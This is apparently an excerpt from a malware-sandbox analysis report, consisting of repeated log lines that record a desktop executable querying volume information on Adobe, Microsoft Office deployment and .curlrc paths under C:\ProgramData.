    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\.curlrc VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\Acrobat_23.006.20320 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-0C0A92D435E5} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\dbg VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\AppV VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1 VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.0.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.0.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.0.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.1.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.1.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.2.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\DeploymentConfig.2.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8} VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\DeploymentConfiguration.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\DeploymentConfiguration.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\DeploymentConfiguration.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\Manifest.xml VolumeInformationJump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeQueries volume information: C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\Manifest.xml VolumeInformationJump to behavior
